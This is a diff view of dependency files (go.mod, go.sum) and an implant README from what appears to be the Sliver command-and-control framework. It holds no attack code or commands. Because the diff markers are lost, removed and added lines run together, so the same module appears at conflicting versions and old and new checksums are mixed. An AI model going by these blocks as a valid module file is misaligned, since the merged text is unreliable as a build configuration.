github.com/gorilla/mux v1.8.0
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0
github.com/jedib0t/go-pretty/v6 v6.4.4
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
github.com/jedib0t/go-pretty/v6 v6.2.4
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lesnuages/snitch v0.6.0
github.com/mattn/go-sqlite3 v1.14.16
github.com/miekg/dns v1.1.51
github.com/mattn/go-sqlite3 v1.14.12
github.com/miekg/dns v1.1.35
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/pquerna/otp v1.4.0
github.com/sirupsen/logrus v1.9.0
github.com/spf13/cobra v1.6.1
github.com/stretchr/testify v1.8.1
github.com/things-go/go-socks5 v0.0.3
github.com/xlab/treeprint v1.1.0
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
golang.org/x/crypto v0.6.0
golang.org/x/net v0.7.0
golang.org/x/sys v0.5.0
golang.org/x/term v0.5.0
golang.org/x/text v0.7.0
github.com/pquerna/otp v1.3.0
github.com/shirou/gopsutil/v3 v3.21.10
github.com/sirupsen/logrus v1.8.1
github.com/spf13/cobra v1.1.1
github.com/stretchr/testify v1.7.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
golang.org/x/text v0.3.7
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
google.golang.org/grpc v1.53.0
google.golang.org/protobuf v1.28.1
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
google.golang.org/protobuf v1.27.1
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gorm.io/driver/mysql v1.4.7
gorm.io/driver/postgres v1.4.8
gorm.io/driver/sqlite v1.4.4
gorm.io/gorm v1.24.5
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
modernc.org/sqlite v1.21.0
gorm.io/driver/mysql v1.0.3
gorm.io/driver/postgres v1.0.5
gorm.io/driver/sqlite v1.1.3
gorm.io/gorm v1.21.14
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
modernc.org/sqlite v1.16.0
)
require (
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
github.com/Microsoft/go-winio v0.5.1 // indirect
github.com/StackExchange/wmi v1.2.1 // indirect
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
github.com/VividCortex/ewma v1.1.1 // indirect
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
github.com/chromedp/sysutil v1.0.0 // indirect
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
github.com/desertbit/closer/v3 v3.1.2 // indirect
github.com/dlclark/regexp2 v1.4.0 // indirect
github.com/dustin/go-humanize v1.0.0 // indirect
github.com/desertbit/readline v1.5.1 // indirect
github.com/dlclark/regexp2 v1.2.0 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/go-sql-driver/mysql v1.7.0 // indirect
github.com/gobwas/httphead v0.1.0 // indirect
github.com/gobwas/pool v0.2.1 // indirect
github.com/gobwas/ws v1.1.0 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
github.com/go-sql-driver/mysql v1.5.0 // indirect
github.com/golang/protobuf v1.5.2 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/hashicorp/errwrap v1.1.0 // indirect
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/hashicorp/go-uuid v1.0.2 // indirect
github.com/inconshreveable/mousetrap v1.0.1 // indirect
github.com/inconshreveable/mousetrap v1.0.0 // indirect
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
github.com/jackc/pgconn v1.7.0 // indirect
github.com/jackc/pgio v1.0.0 // indirect
github.com/jackc/pgpassfile v1.0.0 // indirect
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect
github.com/jackc/pgx/v5 v5.3.0 // indirect
github.com/jcmturner/gofork v1.0.0 // indirect
github.com/jackc/pgproto3/v2 v2.0.5 // indirect
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
github.com/jackc/pgtype v1.5.0 // indirect
github.com/jackc/pgx/v4 v4.9.0 // indirect
github.com/jinzhu/inflection v1.0.0 // indirect
github.com/jinzhu/now v1.1.5 // indirect
github.com/josharian/intern v1.0.0 // indirect
github.com/jinzhu/now v1.1.2 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mailru/easyjson v0.7.7 // indirect
github.com/mattn/go-colorable v0.1.13 // indirect
github.com/mattn/go-isatty v0.0.17 // indirect
github.com/mattn/go-runewidth v0.0.13 // indirect
github.com/mattn/go-colorable v0.1.8 // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mattn/go-runewidth v0.0.9 // indirect
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
github.com/rivo/uniseg v0.2.0 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
github.com/sergi/go-diff v1.1.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
golang.org/x/mod v0.7.0 // indirect
golang.org/x/mod v0.5.1 // indirect
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
golang.org/x/tools v0.3.0 // indirect
golang.org/x/tools v0.1.9 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f // indirect
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
lukechampine.com/uint128 v1.2.0 // indirect
modernc.org/cc/v3 v3.40.0 // indirect
modernc.org/ccgo/v3 v3.16.13 // indirect
modernc.org/libc v1.22.3 // indirect
modernc.org/mathutil v1.5.0 // indirect
modernc.org/memory v1.5.0 // indirect
modernc.org/opt v0.1.3 // indirect
modernc.org/strutil v1.1.3 // indirect
modernc.org/token v1.0.1 // indirect
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
gopkg.in/yaml.v3 v3.0.0 // indirect
lukechampine.com/uint128 v1.1.1 // indirect
modernc.org/cc/v3 v3.35.24 // indirect
modernc.org/ccgo/v3 v3.15.18 // indirect
modernc.org/libc v1.14.12 // indirect
modernc.org/mathutil v1.4.1 // indirect
modernc.org/memory v1.0.7 // indirect
modernc.org/opt v0.1.1 // indirect
modernc.org/strutil v1.1.1 // indirect
modernc.org/token v1.0.0 // indirect
)
+1254 -205
View File
File diff suppressed because it is too large. Load diff
+1 -7
View File
@@ -1,5 +1,5 @@
Implant
=======
========
This directory contains the code for Sliver's implant, implant source code is dynamically
rendered at runtime via the `generate` command. The code generation inserts the per-binary
@@ -11,9 +11,3 @@ that will be supported on different platforms.
Platform agnostic code is implemented in `_generic.go` files, and can be compiled for any
valid Go compiler target but only contains very generic commands/features.
Development
===========
Before committing any changes to any implant files, run `go generate` in this directory. This
will ensure the vendor directory is kept up to date so offline implant builds will function
correctly.
-3
View File
@@ -1,3 +0,0 @@
package implant
//go:generate ./scripts/update-vendor.sh
+19 -47
View File
@@ -1,52 +1,24 @@
module github.com/bishopfox/sliver
go 1.18
go 1.17
require (
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/Ne0nd0g/go-clr v1.0.3
github.com/gofrs/uuid v4.0.0+incompatible
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/miekg/dns v1.1.50
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/pquerna/otp v1.3.0
github.com/stretchr/testify v1.7.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220722155237-a158d28d115b
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
google.golang.org/protobuf v1.28.0
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
)
require (
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 // indirect
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
github.com/Microsoft/go-winio v0.5.1 // indirect
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/google/go-cmp v0.5.8 // indirect
github.com/hashicorp/go-uuid v1.0.2 // indirect
github.com/jcmturner/gofork v1.0.0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
golang.org/x/mod v0.5.1 // indirect
golang.org/x/text v0.3.7 // indirect
golang.org/x/time v0.0.0-20191024005414-555d28b269f0 // indirect
golang.org/x/tools v0.1.9 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
github.com/Microsoft/go-winio v0.5.0 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/gofrs/uuid v4.0.0+incompatible
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/pquerna/otp v1.3.0
github.com/stretchr/testify v1.7.0
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
golang.zx2c4.com/wireguard/windows v0.5.1
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
google.golang.org/protobuf v1.23.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
)
+38 -79
View File
@@ -4,10 +4,8 @@ github.com/Binject/universal v0.0.0-20210304094126-daefaa886313 h1:hX9boCRvCxIps
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc h1:7D+Bh06CRPCJO3gr2F7h1sriovOZ8BMhca2Rg85c2nk=
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
github.com/Microsoft/go-winio v0.5.1 h1:aPJp2QD7OOrhO5tQXqQoGSJc+DjDtWTGLOmNyAm6FgY=
github.com/Microsoft/go-winio v0.5.1/go.mod h1:JPGBdM1cNvN/6ISo+n8V5iA4v8pBzdOpzfwIujj1a84=
github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4=
github.com/Ne0nd0g/go-clr v1.0.3/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
github.com/Microsoft/go-winio v0.5.0 h1:Elr9Wn+sGKPlkaBvwu4mTrxtmOp3F3yV9qhaHbXGjwU=
github.com/Microsoft/go-winio v0.5.0/go.mod h1:JPGBdM1cNvN/6ISo+n8V5iA4v8pBzdOpzfwIujj1a84=
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
@@ -21,26 +19,23 @@ github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u7
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
github.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw=
github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
github.com/google/btree v1.0.1 h1:gK4Kx5IaGY9CD5sPJ36FHiBJ6ZXl0kilRiiCj+jdYp4=
github.com/google/btree v1.0.1/go.mod h1:xXMiIv4Fb/0kKde4SpL7qlzvu5cMJDRkFDxJfI9uaxA=
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg=
github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
github.com/hashicorp/go-uuid v1.0.2 h1:cfejS+Tpcp13yd5nYHWDI6qVCny6wyX2Mt5SGur2IGE=
github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
github.com/google/go-cmp v0.4.0 h1:xsAVV57WRhGj6kEIi8ReJzQlHHqcBYCElAvkovg3B/4=
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f h1:5hWo+DzJQSOBl6X+TDac0SPWffRonuRJ2///OYtYRT8=
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f/go.mod h1:f8GY5V3lRzakvEyr49P7hHRYoHtPr8zvj/7JodCoRzw=
github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8IrVmbA=
github.com/lesnuages/go-winio v0.4.19/go.mod h1:rm7jf4kBcldxMeljR7c7XY1qVCBc+8z3PtSgkrT9Clk=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
github.com/miekg/dns v1.1.50 h1:DQUfb9uc6smULcREF09Uc+/Gd46YWqJd5DbpPE9xkcA=
github.com/miekg/dns v1.1.50/go.mod h1:e3IlAVfNqAllflbibAZEWOXOQ+Ynzk/dDozDxY7XnME=
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8=
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
@@ -50,86 +45,50 @@ github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43 h1:+sN63SJGqchSsVyNoeW4GyA0Y+g0LvKOHcaeqs1Rf6M=
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43/go.mod h1:dhnDTBbIg31cbJdROP4/Zz6Iw7JPEpiMvOl2LdHSSjE=
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e h1:6SWomM8ezwUwnN3lqKxE4r7bYVwpY9514DQkwBV9IPI=
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e/go.mod h1:r1bHcNa22x8rrg/Kj/cDF5bX6UtZrHiQgRFvj3Mnpl8=
github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd h1:XcWmESyNjXJMLahc3mqVQJcgSTDxFxhETVlfk9uGc38=
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.5.1 h1:OJxoQ/rynoF0dcCdI7cLPktw/hR2cueqYfjm43oqK38=
golang.org/x/mod v0.5.1/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro=
golang.org/x/crypto v0.0.0-20210220033148-5ea612d1eb83/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e h1:gsTQYXdTw2Gq7RBsWvlQ91b+aEQ6bXFUngBGuR8sPpI=
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4 h1:4nGaVu0QrbjT/AK2PRLuQfQuh6DJve+pELhqTdAj3x0=
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b h1:PxfKdU9lEEDYjdIzOtC4qFWgkU2rGHdKlKowJSMN9h0=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210309040221-94ec62e08169/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210316164454-77fc1eacc6aa/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f h1:v4INt8xihDGvnrfjMDVXGxw9wrfxYyCjk0KbXjhR55s=
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 h1:RqytpXGR1iVNX7psjB3ff8y7sNFinVFvkx1c8SjBkio=
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 h1:v+OssWQX+hTHEmOBgwxdZxK4zHq3yOs8F9J7mk0PY8E=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/time v0.0.0-20191024005414-555d28b269f0 h1:/5xXl8Y5W96D+TtHSlonuFqGHIWVuyCkGJLwGh9JJFs=
golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba h1:O8mE0/t419eoIwhTFpKVkHiTs/Igowgfkj25AcZrtiE=
